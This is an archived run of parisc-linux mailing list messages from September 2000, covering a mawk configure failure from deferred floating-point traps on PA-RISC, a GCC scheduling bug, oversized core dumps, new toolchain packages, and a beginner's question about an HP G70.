Content-Type: text/plain ; name="mawk.error"; charset=us-ascii
Content-Description: mawk.error
Content-Disposition: attachment; filename="mawk.error"

...
checking for fmod... yes
checking for matherr... yes
checking for limits.h... yes
checking return type of signal handlers... void
checking handling of floating point exceptions
        division by zer!!die_if_kernel: fpe_check(32468): Floating point exception 14
o does not gener
ate an exceptionPSW  : 0004ff0a  
        overflow doesGR 1 : 20020198   not generate anGR 2 : 000017c3   exception
GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 7fffffff  GR21 : ffffffff  GR22 : 00000010  GR23 : 00000000  
GR24 : 00000000  GR25 : 7fffffff  GR26 : ffffffff  GR27 : 00002d30  
GR28 : 4015bf94  GR29 : 00000000  GR30 : 20020240  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 00001803 00001807 ORIG_R28 : 00000000
 IIR : 30002420 ISR : 00002006 IOR : 2002016c

!!die_if_kernel: fpe_check(32468): Floating point exception 14

PSW  : 0004ff0a  GR 1 : 00002d30  GR 2 : 0000172b  GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 00003058  GR21 : 40084c2c  GR22 : 00000010  GR23 : 00000000  
GR24 : 200202d0  GR25 : 00000001  GR26 : 00003000  GR27 : 00002d30  
GR28 : 00000001  GR29 : 00000000  GR30 : 20020180  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 4006be2b 4006be2f ORIG_R28 : 00000000
 IIR : 2e90102c ISR : 00002006 IOR : 00003058

!!die_if_kernel: fpe_check(32468): Floating point exception 14

PSW  : 0004ff0a  GR 1 : 00002d30  GR 2 : 0000172b  GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 00003058  GR21 : 40084c2c  GR22 : 00000010  GR23 : 00000000  
GR24 : 20020210  GR25 : 00000001  GR26 : 00003000  GR27 : 00002d30  
GR28 : 00000001  GR29 : 00000000  GR30 : 20020180  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 4006be2b 4006be2f ORIG_R28 : 00000000
 IIR : 2e90102c ISR : 00002006 IOR : 00003058

!!die_if_kernel: fpe_check(32468): Floating point exception 14

PSW  : 0004ff0a  GR 1 : 00002d30  GR 2 : 0000172b  GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 00003058  GR21 : 40084c2c  GR22 : 00000010  GR23 : 00000000  
GR24 : 20020210  GR25 : 00000001  GR26 : 00003000  GR27 : 00002d30  
GR28 : 00000001  GR29 : 00000000  GR30 : 20020180  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 4006be2b 4006be2f ORIG_R28 : 00000000
 IIR : 2e90102c ISR : 00002006 IOR : 00003058

!!die_if_kernel: fpe_check(32468): Floating point exception 14

PSW  : 0004ff0a  GR 1 : 00002d30  GR 2 : 0000172b  GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 00003058  GR21 : 40084c2c  GR22 : 00000010  GR23 : 00000000  
GR24 : 20020210  GR25 : 00000001  GR26 : 00003000  GR27 : 00002d30  
GR28 : 00000001  GR29 : 00000000  GR30 : 20020180  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 4006be2b 4006be2f ORIG_R28 : 00000000
 IIR : 2e90102c ISR : 00002006 IOR : 00003058

!!die_if_kernel: fpe_check(32468): Floating point exception 14

PSW  : 0004ff0a  GR 1 : 00002d30  GR 2 : 0000172b  GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 00003058  GR21 : 40084c2c  GR22 : 00000010  GR23 : 00000000  
GR24 : 20020210  GR25 : 00000001  GR26 : 00003000  GR27 : 00002d30  
GR28 : 00000001  GR29 : 00000000  GR30 : 20020180  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 4006be2b 4006be2f ORIG_R28 : 00000000
 IIR : 2e90102c ISR : 00002006 IOR : 00003058

!!die_if_kernel: fpe_check(32468): Floating point exception 14

PSW  : 0004ff0a  GR 1 : 00002d30  GR 2 : 0000172b  GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 00003058  GR21 : 40084c2c  GR22 : 00000010  GR23 : 00000000  
GR24 : 20020210  GR25 : 00000001  GR26 : 00003000  GR27 : 00002d30  
GR28 : 00000001  GR29 : 00000000  GR30 : 20020180  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 4006be2b 4006be2f ORIG_R28 : 00000000
 IIR : 2e90102c ISR : 00002006 IOR : 00003058

!!die_if_kernel: fpe_check(32468): Floating point exception 14

PSW  : 0004ff0a  GR 1 : 00002d30  GR 2 : 0000172b  GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 00003058  GR21 : 40084c2c  GR22 : 00000010  GR23 : 00000000  
GR24 : 20020210  GR25 : 00000001  GR26 : 00003000  GR27 : 00002d30  
GR28 : 00000001  GR29 : 00000000  GR30 : 20020180  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 4006be2b 4006be2f ORIG_R28 : 00000000
 IIR : 2e90102c ISR : 00002006 IOR : 00003058

!!die_if_kernel: fpe_check(32468): Floating point exception 14

PSW  : 0004ff0a  GR 1 : 00002d30  GR 2 : 0000172b  GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 00003058  GR21 : 40084c2c  GR22 : 00000010  GR23 : 00000000  
GR24 : 20020210  GR25 : 00000001  GR26 : 00003000  GR27 : 00002d30  
GR28 : 00000001  GR29 : 00000000  GR30 : 20020180  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 4006be2b 4006be2f ORIG_R28 : 00000000
 IIR : 2e90102c ISR : 00002006 IOR : 00003058

!!die_if_kernel: fpe_check(32468): Floating point exception 14

PSW  : 0004ff0a  GR 1 : 00002d30  GR 2 : 0000172b  GR 3 : 00000001  
GR 4 : 40160238  GR 5 : 00002f32  GR 6 : 00002efa  GR 7 : 00000001  
GR 8 : 00002f1a  GR 9 : 000b5210  GR10 : 000d2dd0  GR11 : 000d6230  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000d4f50  GR15 : 00000000  
GR16 : 00095468  GR17 : 00000001  GR18 : 00000000  GR19 : 40160238  
GR20 : 00003058  GR21 : 40084c2c  GR22 : 00000010  GR23 : 00000000  
GR24 : 20020210  GR25 : 00000001  GR26 : 00003000  GR27 : 00002d30  
GR28 : 00000001  GR29 : 00000000  GR30 : 20020180  GR31 : 400c56cf  
SR0  : 00000000  SR1  : 00002006  SR2  : 00000000  SR3  : 00002006  
SR4  : 00002006  SR5  : 00002006  SR6  : 00002006  SR7  : 00002006  

IASQ : 00002006 00002006 IAOQ : 4006be2b 4006be2f ORIG_R28 : 00000000
 IIR : 2e90102c ISR : 00002006 IOR : 00003058

make: *** [build] Error 1

geordi:~/mawk/mawk-1.3.3# 


--==_Exmh_-16236947030--



From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point exception error
Date: 27 Sep 2000 16:41:38 -0400
Organization: Linuxcare, Inc.
Lines: 40
Approved: news@gmane.org
Message-ID: <873dilo9dp.fsf@tarwebok.i-did-not-set--mail-host-address--so-shoot-me>
References: <20000927195500.57241381CD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619149 4122 80.91.229.3 (22 Nov 2014 01:19:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: dhd@linuxcare.com  Wed Sep 27 14:54:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA05570
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Sep 2000 14:54:10 -0600
Original-Received: (qmail 8893 invoked by uid 15267); 27 Sep 2000 20:54:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8886 invoked from network); 27 Sep 2000 20:54:58 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2000 20:54:58 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13eO1L-0008O5-00; Wed, 27 Sep 2000 16:41:39 -0400
In-Reply-To: Matt Taggart's message of "Wed, 27 Sep 2000 13:55:00 -0600"
Original-Lines: 39
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8016

Matt Taggart <taggart@carmen.fc.hp.com> writes:

> In trying to build mawk I ran into a bug when the configure tried to test 
> "floating point exceptions". Attached is the output. BTW- the gawk does 
> something similar at the same point in it's configure.

Some additional info, since I'm aware of this bug:

The problem here is that the SIGFPE is not being delivered when the
test program expects it to be (the test program here being fpe_check.c
in the mawk sources).

First the program tries to generate divide-by-zero and overflow
exceptions.  I don't think the former ends up generating an exception,
but the latter does.  However this exception does not occur
immediately due to the odd 'deferred trapping' that the PA-RISC FPU
does.  The program then goes on to do some other stuff (testing
representation of NaN), which it does not expect to trap.  The next
floating point instruction occurs in maybe_nan(), and causes the
delayed trap to occur.

Since its SIGFPE handler does 'longjmp' to a place after where each
exception was expected to occur, this means the process jumps
backwards to the overflow test, and then loops endlessly doing this.

I don't understand the mechanics of FPU exceptions on PA-RISC at all.
The delayed trapping scheme and multiple exception registers are weird
to say the least - all machines I've seen in the past are either
totally imprecise like older Alphas, or deliver one exception at a
time, synchronously, the way that user code expects them to.

We probably need more complicated FPU trap logic in the kernel in
order to deliver exceptions in the proper POSIX and IEEE manner.  I
would appreciate it if someone from HP could comment on this - how
does HP/UX handle this?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32 bit compiler bug causing kernel crashes
Date: 27 Sep 2000 17:45:59 -0400
Organization: Linuxcare, Inc.
Lines: 24
Approved: news@gmane.org
Message-ID: <87ya0dmru0.fsf@tarwebok.i-did-not-set--mail-host-address--so-shoot-me>
References: <200009151206.GAA17924@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619150 4126 80.91.229.3 (22 Nov 2014 01:19:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: dhd@linuxcare.com  Wed Sep 27 15:58:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA06244
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Sep 2000 15:58:38 -0600
Original-Received: (qmail 23497 invoked by uid 15267); 27 Sep 2000 21:59:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23481 invoked from network); 27 Sep 2000 21:59:21 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2000 21:59:21 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13eP1b-0008PL-00; Wed, 27 Sep 2000 17:45:59 -0400
In-Reply-To: John Marvin's message of "Fri, 15 Sep 2000 06:06:45 -0600 (MDT)"
Original-Lines: 23
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8017

John Marvin <jsm@udlkern.fc.hp.com> writes:

> This is not good. At "4--->" above r8 is being saved above the stack
> pointer, i.e. before the stack pointer is incremented at "5--->" above.
> This is a compiler bug, and I rebuilt my compiler from top of branch
> sources to make sure that it is still there. It is.

More follow up on this.  I've isolated the optimization flag that
causes this, which is -fschedule-insns2 (or, as it's known internally,
'flag_schedule_insns_after_reload').  Which if you think about it
makes perfect sense given the description of the problem, since the
references to memory off the stack pointer are generated in reload.

Somehow I guess this pass has to be made aware that it can't reorder
references to the stack pointer and frame pointer with respect to each
other ... or something.

I'll keep investigating this when I have time but I don't see an
immediate solution to it.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point exception error
Date: 28 Sep 2000 11:41:51 -0400
Organization: Linuxcare, Inc.
Lines: 52
Approved: news@gmane.org
Message-ID: <87snqk1q2o.fsf@linuxcare.com>
References: <20000927195500.57241381CD@carmen.fc.hp.com>
	<873dilo9dp.fsf@tarwebok.i-did-not-set--mail-host-address--so-shoot-me>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619150 4131 80.91.229.3 (22 Nov 2014 01:19:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Thu Sep 28 09:41:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA23609
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Sep 2000 09:41:14 -0600
Original-Received: (qmail 13181 invoked by uid 15267); 28 Sep 2000 15:42:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13173 invoked from network); 28 Sep 2000 15:42:03 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 28 Sep 2000 15:42:03 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13efom-0000GE-00
	for <parisc-linux@thepuffingroup.com>; Thu, 28 Sep 2000 11:41:52 -0400
In-Reply-To: David Huggins-Daines's message of "27 Sep 2000 16:41:38 -0400"
Original-Lines: 51
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8018

David Huggins-Daines <dhd@linuxcare.com> writes:

> We probably need more complicated FPU trap logic in the kernel in
> order to deliver exceptions in the proper POSIX and IEEE manner.

Yes, I'm handwaving.  Of course POSIX says nothing about this, and I
don't exactly know what IEEE says about delivery of exceptions (just
that certain exception flags need to exist).

The FPU support that I've put in glibc is specified by ANSI C99 (not
C89 as far as I can tell), and is found in <fenv.h>

A cursory comparison of this header file on GNU libc 2.1.92 vs. HP/UX
11 reveals that HP/UX implements the same functions, except for
feenableexcept() which does not exist on HP/UX.  The definition of
fenv_t is different from what I expected in that it does not include
the exception status registers (LSW of %fr0, %fr1-%fr3), only the
status word (MSW of %fr0).  Also, I notice that the FE_* macros refer
to the flag bits rather than the enable bits in the floating point
status word, and are different in wide mode (!).

> I would appreciate it if someone from HP could comment on this -
> how does HP/UX handle this?

Just for the record, this is what the mawk configure test reports on
HP/UX 11:

checking handling of floating point exceptions
        division by zero does not generate an exception
        overflow does not generate an exception
        math library supports ieee754

Which is the same as reported by Linux/i386.

Linux/alpha without -mieee reports:

checking handling of floating point exceptions
	division by zero generates an exception
	overflow does not generate an exception
(and then some warnings at the end)

Whereas with -mieee we get the same results as HP/UX 11 and
Linux/i386.

So it looks like we are either not managing to set up %fr0 properly on
process startup or we are mangling it in the kernel or libc somewhere
along the way.  I'll investigate further today.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (user land) Core dumping, across the universe
Date: 28 Sep 2000 12:24:33 -0400
Organization: Linuxcare, Inc.
Lines: 39
Approved: news@gmane.org
Message-ID: <87u2b0pjr2.fsf@ottawa.linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619150 4135 80.91.229.3 (22 Nov 2014 01:19:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Thu Sep 28 10:23:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24149
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Sep 2000 10:23:57 -0600
Original-Received: (qmail 10025 invoked by uid 15267); 28 Sep 2000 16:24:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10012 invoked from network); 28 Sep 2000 16:24:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 28 Sep 2000 16:24:46 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13egU5-0000GW-00
	for <parisc-linux@thepuffingroup.com>; Thu, 28 Sep 2000 12:24:33 -0400
Original-Lines: 38
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8019

Hi,

Well the good news is that dumping core Just Works, so we're at least
part of the way towards having Emacs running ;-)

The bad news is that the core dumps are rather funny looking.

My very simple (dereference a bad pointer) test program produces the
following dump:

avalanche:~# ls -l core
-rw-------    1 root     root     268500992 Sep 28 12:21 core
avalanche:~# objdump -x core

core:     file format elf32-hppa
core
architecture: hppa1.0, flags 0x00000000:

start address 0x00000000

Program Header:
    NOTE off    0x00000174 vaddr 0x00000000 paddr 0x00000000 align 2**0
         filesz 0x00000714 memsz 0x00000000 flags ---
    LOAD off    0x00001000 vaddr 0x00001000 paddr 0x00000000 align 2**12
         filesz 0x00000000 memsz 0x00001000 flags r-x
    LOAD off    0x00001000 vaddr 0x00002000 paddr 0x00000000 align 2**12
         filesz 0x00001000 memsz 0x00001000 flags rwx
    LOAD off    0x00002000 vaddr 0x20000000 paddr 0x00000000 align 2**12
         filesz 0x10000000 memsz 0x10000000 flags rwx
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^

Wow, look at the size of that stack segment!  We *really* need to have
this be dynamically growable instead of just mapping a whole gigabyte
in the middle of process space.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New, Bug Free [tm] gcc and binutils packages
Date: 28 Sep 2000 17:53:04 -0400
Organization: Linuxcare, Inc.
Lines: 28
Approved: news@gmane.org
Message-ID: <87wvfwnpz3.fsf@ottawa.linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619151 4137 80.91.229.3 (22 Nov 2014 01:19:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:11 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Thu Sep 28 15:52:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA27412
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Sep 2000 15:52:35 -0600
Original-Received: (qmail 10867 invoked by uid 15267); 28 Sep 2000 21:53:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10820 invoked from network); 28 Sep 2000 21:53:19 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 28 Sep 2000 21:53:19 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13elc1-0000NS-00; Thu, 28 Sep 2000 17:53:05 -0400
Original-Lines: 27
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8020

Hi,

I've just uploaded source and binary packages of gcc, g++, cpp, and
libstdc++ to puffin.external.hp.com.  See
ftp://puffin.external.hp.com/pub/debian-hppa/ and
ftp://puffin.external.hp.com/pub/debian-hppa-source/

This is basically egcs 20000925 snapshot with the PA-RISC patches
applied.  It compiles itself (as far as I can tell - I've been
shortcutting a bit since the A180 is so horribly slow) and should now
manage to bootstrap itself; the previous version we had been using
miscompiled fold-const.c when not optimizing, as is the case when
building the initial bootstrap compiler (but not when cross-building
or building with simply 'make' rather than 'make bootstrap'...)

In order to bootstrap you must have the new compiler installed,
because the old one (20000822) will break as mentioned above.

There are also source packages of the latest binutils CVS source,
which I'll native build eventually (as mentioned above the A180 is
slow as molasses and I'm currently testing GCC bootstrap).  Alan:
would it be okay to check the Debian packaging stuff into our binutils
CVS?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jason Wong" <jasonw@tntexpress.com.hk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Running Linux on HP G70 Machine
Date: Fri, 29 Sep 2000 10:19:30 +0800
Lines: 57
Approved: news@gmane.org
Message-ID: <NDBBJIKEJKHDOLOGOONGGEDKCAAA.jasonw@tntexpress.com.hk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0000_01C029FE.C0FECD10"
X-Trace: ger.gmane.org 1416619151 4139 80.91.229.3 (22 Nov 2014 01:19:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:11 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: jasonw@tntexpress.com.hk  Thu Sep 28 20:21:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA29042
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Sep 2000 20:21:08 -0600
Original-Received: (qmail 9082 invoked by uid 15267); 29 Sep 2000 02:21:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9075 invoked from network); 29 Sep 2000 02:21:57 -0000
Original-Received: from unknown (HELO skyaccess.net) (202.70.17.6)
  by mailserv2.iuinc.com with SMTP; 29 Sep 2000 02:21:57 -0000
Original-Received: (qmail 28530 invoked from network); 29 Sep 2000 02:13:46 -0000
Original-Received: from unknown (HELO hk946w752) (203.161.229.34)
  by sk1.skyaccess.net with SMTP; 29 Sep 2000 02:13:46 -0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:8021

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C029FE.C0FECD10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi,

I have a fairly old HP G70 machine sitting in the store room... I wish to
try linux on it, but don't know how to get started, can you show me where to
get some documentations on how to get the sources, perhaps which
distribution to try?

I hope I can get Apache on it, and start a web server for my department.

Thanks,
Jason

------=_NextPart_000_0000_01C029FE.C0FECD10
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

